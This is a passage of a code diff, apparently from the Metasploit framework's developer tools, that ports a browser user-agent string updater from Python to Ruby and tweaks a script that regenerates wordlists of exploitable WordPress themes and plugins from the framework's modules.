+File.open('data/wordlists/joomla.txt', 'w') do |file| + file.puts old +end \ No newline at end of file diff --git a/tools/dev/update_user_agent_strings.py b/tools/dev/update_user_agent_strings.py deleted file mode 100644 index bac548d78fd0..000000000000 --- a/tools/dev/update_user_agent_strings.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/python3 -import requests -import re - -def replace_agent_string(lines, replace_marker, url, regex): - VALID_CHARS = 'a-zA-Z0-9\\(\\);:\\.,/_ ' - regex = regex.replace('{VALID_CHARS}', VALID_CHARS) - print(f'Updating {replace_marker}') - for x in range(0, len(lines)): - if replace_marker in lines[x]: - break - else: - raise RuntimeError(f"Couldn't find marker {replace_marker}") - - response = requests.get(url) - if response.status_code != 200: - raise RuntimeError(f"Can't retrieve {url}") - - match = re.search(regex, response.text) - if match is None: - raise RuntimeError(f"Couldn't match regex {regex}") - - new_string = match.groups()[0] - print(f'New value is: {new_string}') - old_line = lines[x] - if f"'{new_string}'" in old_line: - print('(This is unchanged from the previous value)') - else: - new_line = re.sub("'(.*)'", f"'{new_string}'", old_line) - if old_line == new_line: - raise RuntimeError(f"Line didn't change: {old_line}") - - lines[x] = new_line - - -chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome" -edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge" -safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari" -firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox" - -user_agent_filename = 'lib/rex/user_agent.rb' -with open(user_agent_filename,'r') as f: - lines = f.read().splitlines() - -replace_agent_string(lines, 'Chrome Windows', chrome_url, 'Chrome \\(Standard\\)\s*\s*
    \s*
  • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Chrome MacOS', chrome_url, 'Chrome \\(Standard\\)\s*\s*
      \s*
    • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Edge Windows', edge_url, 'Edge \\(Standard\\)\s*\s*
        \s*
      • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Safari iPad', safari_url, '\s*Safari on Ipad\s*\s*\s*
          \s*
        • ([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Safari MacOS', safari_url, 'Safari \\(Standard\\)\s*\s*
            \s*
          • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Firefox Windows', firefox_url, '\s*Firefox on Windows\s*\s*\s*
              \s*
            • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Firefox MacOS', firefox_url, '\s*Firefox on Macos\s*\s*\s*
                \s*
              • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') - -with open(user_agent_filename, 'w') as f: - f.write('\n'.join(lines) + '\n') - -print('Done') diff --git a/tools/dev/update_user_agent_strings.rb b/tools/dev/update_user_agent_strings.rb new file mode 100644 index 000000000000..929cc65925ba --- /dev/null +++ b/tools/dev/update_user_agent_strings.rb @@ -0,0 +1,112 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +require 'optparse' +require 'net/http' +require 'uri' +optparse = OptionParser.new do |opts| + opts.banner = 'Usage: ruby tools/dev/update_user_agent_strings.rb [options]' + opts.separator "This program updates lib/rex/user_agent.rb so Metasploit uses the most up-to-date User Agent strings across the framework." + opts.separator "" + opts.on('-h', '--help', 'Display this screen.') do + puts opts + exit + end +end +optparse.parse! + +# colors and puts templates from msftidy.rb + +class String + def red + "\e[1;31;40m#{self}\e[0m" + end + + def yellow + "\e[1;33;40m#{self}\e[0m" + end + + def green + "\e[1;32;40m#{self}\e[0m" + end + + def cyan + "\e[1;36;40m#{self}\e[0m" + end +end + +# +# Display an error message, given some text +# +def error(txt) + puts "[#{'ERROR'.red}] #{cleanup_text(txt)}" +end + +# +# Display a warning message, given some text +# +def warning(txt) + puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}" +end + +# +# Display a info message, given some text +# +def info(txt) + puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}" +end + +def cleanup_text(txt) + # remove line breaks + txt = txt.gsub(/[\r\n]/, ' ') + # replace multiple spaces by one space + txt.gsub(/\s{2,}/, ' ') +end + +def replace_agent_string(lines, replace_marker, url, regex) + valid_chars = 'a-zA-Z0-9\(\);:\.,/_ ' + regex = regex.gsub('{VALID_CHARS}', valid_chars) + info "Checking: #{replace_marker}" + + index = lines.index { |line| line.include?(replace_marker) } + raise "Couldn't find marker #{replace_marker}" if index.nil? + + uri = URI(url) + response = Net::HTTP.get_response(uri) + raise "Can't retrieve #{url}" unless response.is_a?(Net::HTTPSuccess) + + match = response.body.match(/#{regex}/) + raise "Couldn't match regex #{regex}" if match.nil? + + new_string = match[1] + + old_line = lines[index] + if old_line.include?("'#{new_string}'") + puts " (Unchanged): #{new_string}" + else + new_line = old_line.gsub(/'(.*)'/, "'#{new_string}'") + if old_line == new_line + raise " Line didn't change: #{old_line}" + end + puts " New value is: #{new_string}" + lines[index] = new_line + end +end + +chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome" +edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge" +safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari" +firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox" + +user_agent_filename = 'lib/rex/user_agent.rb' +lines = File.read(user_agent_filename).split("\n") + +replace_agent_string(lines, 'Chrome Windows', chrome_url, 'Chrome \\(Standard\\)\s*\s*
                  \s*
                • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Chrome MacOS', chrome_url, 'Chrome \\(Standard\\)\s*\s*
                    \s*
                  • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Edge Windows', edge_url, 'Edge \\(Standard\\)\s*\s*
                      \s*
                    • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Safari iPad', safari_url, '\s*Safari on Ipad\s*\s*\s*
                        \s*
                      • ([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Safari MacOS', safari_url, 'Safari \\(Standard\\)\s*\s*
                          \s*
                        • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Firefox Windows', firefox_url, '\s*Firefox on Windows\s*\s*\s*
                            \s*
                          • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Firefox MacOS', firefox_url, '\s*Firefox on Macos\s*\s*\s*
                              \s*
                            • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') + +File.write(user_agent_filename, lines.join("\n") + "\n") diff --git a/tools/dev/update_wordpress_vulnerabilities.rb b/tools/dev/update_wordpress_vulnerabilities.rb index 6217518ccc63..d30bef8f44a2 100755 --- a/tools/dev/update_wordpress_vulnerabilities.rb +++ b/tools/dev/update_wordpress_vulnerabilities.rb @@ -1,9 +1,6 @@ #!/usr/bin/env ruby # -*- coding: binary -*- -# -# Update modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most -# up to date list of vuln components based on exploits/scanners in the framework # # by h00die # @@ -12,7 +9,9 @@ options = {} optparse = OptionParser.new do |opts| - opts.banner = 'Usage: update_wordpress_vulnerabilities.rb [options]' + opts.banner = 'Usage: ruby tools/dev/update_wordpress_vulnerabilities.rb [options]' + opts.separator "This program updates data/wordlists/wp-exploitable-themes.txt and wp-exploitable-plugins.txt which are used by modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most up-to-date list of vuln components" + opts.separator "" opts.on('-h', '--help', 'Display this screen.') do puts opts exit @@ -85,18 +84,23 @@ def cleanup_text(txt) themes.append(match[1]) info("#{file} contains theme '#{match[1]}'") end + match = str.match(/check_theme_version_from_style\(['"]([^'"]+)['"]/) + unless match.nil? + themes.append(match[1]) + info("#{file} contains theme '#{match[1]}'") + end end info('Updating wp-exploitable-themes.txt') wp_list = path + '/data/wordlists/wp-exploitable-themes.txt' File.open(wp_list, 'w+') do |f| - f.puts(themes) + f.puts(themes.sort) end info('Updating wp-exploitable-plugins.txt') wp_list = path + '/data/wordlists/wp-exploitable-plugins.txt' File.open(wp_list, 'w+') do |f| - f.puts(plugins) + f.puts(plugins.sort) end